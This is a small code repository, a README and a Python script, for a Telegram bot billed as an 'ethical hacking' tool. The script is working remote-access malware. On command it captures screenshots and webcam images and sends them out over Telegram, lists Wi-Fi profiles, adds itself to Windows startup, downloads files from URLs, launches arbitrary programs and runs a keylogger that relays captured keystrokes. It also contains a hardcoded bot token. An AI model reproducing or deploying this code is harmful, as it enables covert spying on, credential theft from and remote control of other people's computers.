├── logo.png ├── README.md └── telebot.py /logo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/arunsanjeevms/Telegrambot_Python/HEAD/logo.png -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 |
2 | 3 | **

Telegram Bot for Ethical Hacking!** 🔒 4 | 5 |

6 | 7 | 8 | 9 |
10 |

11 |

12 | 13 | 14 | I’ve developed a multifunctional Telegram bot designed for educational purposes in ethical hacking. This bot can perform a variety of tasks, including: 15 | 16 | - 📸 Taking screenshots 17 | - 📷 Capturing camera snapshots 18 | - 🔑 Displaying saved Wi-Fi passwords 19 | - 💻 Adding itself to startup 20 | - 🔔 Showing alert messages 21 | - 🌐 Opening websites 22 | - 📥 Downloading files 23 | - 📋 Copying text to clipboard 24 | - ⌨️ Starting and stopping a keylogger 25 | 26 | Additionally, it features a user-friendly interface with inline keyboards for quick access to social media links and functionalities. 27 | 28 | ### Installation 29 | 30 | To run this bot, you need to install the following packages: 31 | 32 | ```bash 33 | pip install telegram 34 | ``` 35 | ```bash 36 | pip install python-telegram-bot 37 | ``` 38 | ```bash 39 | pip install pyautogui 40 | ``` 41 | ```bash 42 | pip install pyperclip 43 | ``` 44 | This project is a great way to explore the intersection of technology and security! 💡💻 45 | 46 | Feel free to check it out and let me know your thoughts! 🤓✨ 47 | 48 | -------------------------------------------------------------------------------- /telebot.py: -------------------------------------------------------------------------------- 1 | #Telegram Bot - @arunsanjeevms 2 | 3 | import os 4 | import subprocess 5 | import pyautogui 6 | import pyperclip 7 | import webbrowser 8 | import requests 9 | import platform 10 | import cv2 # For camera snapshot 11 | from telegram import Update, InlineKeyboardButton, InlineKeyboardMarkup 12 | from telegram.ext import Application, CommandHandler 13 | from pynput import keyboard # For keylogging 14 | import threading 15 | 16 | BOT_TOKEN = "7606188815:AAF7oQuyLgVsZ5SBnx5ChbE9yRs6dYRpC57" #Bot Token from botfather 17 | keylogger_data = [] # To store keylog data 18 | keylogger_active = False 19 | 20 | # Function to take a screenshot 21 | async def screenshot(update: Update, context) -> None: 22 | screenshot = pyautogui.screenshot() 23 | screenshot_path = "screenshot.png" 24 | screenshot.save(screenshot_path) 25 | await context.bot.send_photo(chat_id=update.effective_chat.id, photo=open(screenshot_path, 'rb')) 26 | os.remove(screenshot_path) 27 | 28 | # Function to take a camera snapshot 29 | async def take_snapshot(update: Update, context) -> None: 30 | camera = cv2.VideoCapture(0) 31 | ret, frame = camera.read() 32 | if ret: 33 | snapshot_path = "snapshot.png" 34 | cv2.imwrite(snapshot_path, frame) 35 | await context.bot.send_photo(chat_id=update.effective_chat.id, photo=open(snapshot_path, 'rb')) 36 | os.remove(snapshot_path) 37 | camera.release() 38 | 39 | # Function to show Wi-Fi passwords 40 | async def show_wifi_passwords(update: Update, context) -> None: 41 | if platform.system() == "Windows": 42 | command = "netsh wlan show profiles" 43 | profiles = subprocess.check_output(command, shell=True, text=True) 44 | await update.message.reply_text(profiles) 45 | else: 46 | await update.message.reply_text("This function is not supported on your OS.") 47 | 48 | # Function to add the bot to startup 49 | async def add_to_startup(update: Update, context) -> None: 50 | startup_folder = os.path.join(os.getenv("APPDATA"), "Microsoft\\Windows\\Start Menu\\Programs\\Startup") 51 | bot_file = os.path.join(startup_folder, "YourBotName.lnk") 52 | subprocess.call(['powershell', '-command', f"$s=(New-Object -COM WScript.Shell).CreateShortcut('{bot_file}'); $s.TargetPath='C:\\Path\\To\\YourBotScript.py'; $s.Save()"]) 53 | await update.message.reply_text("Bot added to startup.") 54 | 55 | # Function to show an alert box 56 | async def show_alert(update: Update, context) -> None: 57 | import ctypes 58 | ctypes.windll.user32.MessageBoxW(0, "This is an alert!", "Alert", 1) 59 | await update.message.reply_text("Alert shown!") 60 | 61 | # Function to open a website 62 | async def open_website(update: Update, context) -> None: 63 | url = context.args[0] if context.args else "https://www.example.com" 64 | webbrowser.open(url) 65 | await update.message.reply_text(f"Opened website: {url}") 66 | 67 | # Function to download a file 68 | async def download_file(update: Update, context) -> None: 69 | url = context.args[0] if context.args else None 70 | if url: 71 | response = requests.get(url) 72 | with open("downloaded_file", "wb") as f: 73 | f.write(response.content) 74 | await update.message.reply_text("File downloaded successfully.") 75 | else: 76 | await update.message.reply_text("Please provide a URL to download.") 77 | 78 | # Function to start an application 79 | async def start_application(update: Update, context) -> None: 80 | app_path = context.args[0] if context.args else None 81 | if app_path: 82 | subprocess.Popen(app_path) 83 | await update.message.reply_text(f"Started application: {app_path}") 84 | else: 85 | await update.message.reply_text("Please provide the application path.") 86 | 87 | # Function to copy text to clipboard 88 | async def copy_to_clipboard(update: Update, context) -> None: 89 | text = " ".join(context.args) 90 | pyperclip.copy(text) 91 | await update.message.reply_text("Text copied to clipboard.") 92 | 93 | # Function to start a keylogger 94 | def start_keylogger(): 95 | global keylogger_active 96 | keylogger_active = True 97 | 98 | def on_press(key): 99 | if key == keyboard.Key.esc: 100 | return False 101 | try: 102 | keylogger_data.append(key.char) 103 | except AttributeError: 104 | keylogger_data.append(str(key)) 105 | 106 | with keyboard.Listener(on_press=on_press) as listener: 107 | listener.join() 108 | 109 | async def start_keylogger_command(update: Update, context) -> None: 110 | threading.Thread(target=start_keylogger).start() 111 | await update.message.reply_text("Keylogger started.") 112 | 113 | # Function to stop the keylogger 114 | async def stop_keylogger(update: Update, context) -> None: 115 | global keylogger_active 116 | keylogger_active = False 117 | await update.message.reply_text("Keylogger stopped.") 118 | 119 | # Function to dump keylogger data 120 | async def dump_keylogger(update: Update, context) -> None: 121 | global keylogger_data 122 | if keylogger_data: 123 | await update.message.reply_text("Keylogger data:\n" + "\n".join(keylogger_data)) 124 | else: 125 | await update.message.reply_text("No keylogger data found.") 126 | 127 | # Show the main menu on /start command 128 | async def start(update: Update, context) -> None: 129 | welcome_message = ( 130 | "Welcome to Arun's Bot! Here are your options Below\n\n" 131 | ) 132 | 133 | # Create inline keyboard with links to profiles 134 | keyboard = [ 135 | [InlineKeyboardButton("Screenshot", callback_data='screenshot'), 136 | InlineKeyboardButton("Camera Snapshot", callback_data='snapshot')], 137 | [InlineKeyboardButton("Show Wi-Fi Passwords", callback_data='wifi'), 138 | InlineKeyboardButton("Add to Startup", callback_data='startup')], 139 | [InlineKeyboardButton("Show Alert", callback_data='alert'), 140 | InlineKeyboardButton("Open Website", callback_data='open')], 141 | [InlineKeyboardButton("Download File", callback_data='download'), 142 | InlineKeyboardButton("Start Application", callback_data='startapp')], 143 | [InlineKeyboardButton("Copy to Clipboard", callback_data='copy'), 144 | InlineKeyboardButton("Start Keylogger", callback_data='startkeylogger')], 145 | [InlineKeyboardButton("Stop Keylogger", callback_data='stopkeylogger'), 146 | InlineKeyboardButton("Dump Keylogger Data", callback_data='dumpkeylogger')] 147 | ] 148 | reply_markup = InlineKeyboardMarkup(keyboard) 149 | 150 | # Send the welcome message with inline keyboard 151 | await update.message.reply_text(welcome_message, reply_markup=reply_markup) 152 | 153 | # Main function to initialize the bot 154 | def main() -> None: 155 | app = Application.builder().token(BOT_TOKEN).build() 156 | 157 | # Command handlers 158 | app.add_handler(CommandHandler("start", start)) # /start 159 | app.add_handler(CommandHandler("screenshot", screenshot)) # /screenshot 160 | app.add_handler(CommandHandler("snapshot", take_snapshot)) # /snapshot 161 | app.add_handler(CommandHandler("wifi", show_wifi_passwords)) # /wifi 162 | app.add_handler(CommandHandler("startup", add_to_startup)) # /startup 163 | app.add_handler(CommandHandler("alert", show_alert)) # /alert 164 | app.add_handler(CommandHandler("open", open_website)) # /open 165 | app.add_handler(CommandHandler("download", download_file)) # /download 166 | app.add_handler(CommandHandler("startapp", start_application)) # /startapp 167 | app.add_handler(CommandHandler("copy", copy_to_clipboard)) # /copy 168 | app.add_handler(CommandHandler("startkeylogger", start_keylogger_command)) # /startkeylogger 169 | app.add_handler(CommandHandler("stopkeylogger", stop_keylogger)) # /stopkeylogger 170 | app.add_handler(CommandHandler("dumpkeylogger", dump_keylogger)) # /dumpkeylogger 171 | 172 | # Start the bot 173 | app.run_polling() 174 | 175 | if __name__ == "__main__": 176 | main() 177 | --------------------------------------------------------------------------------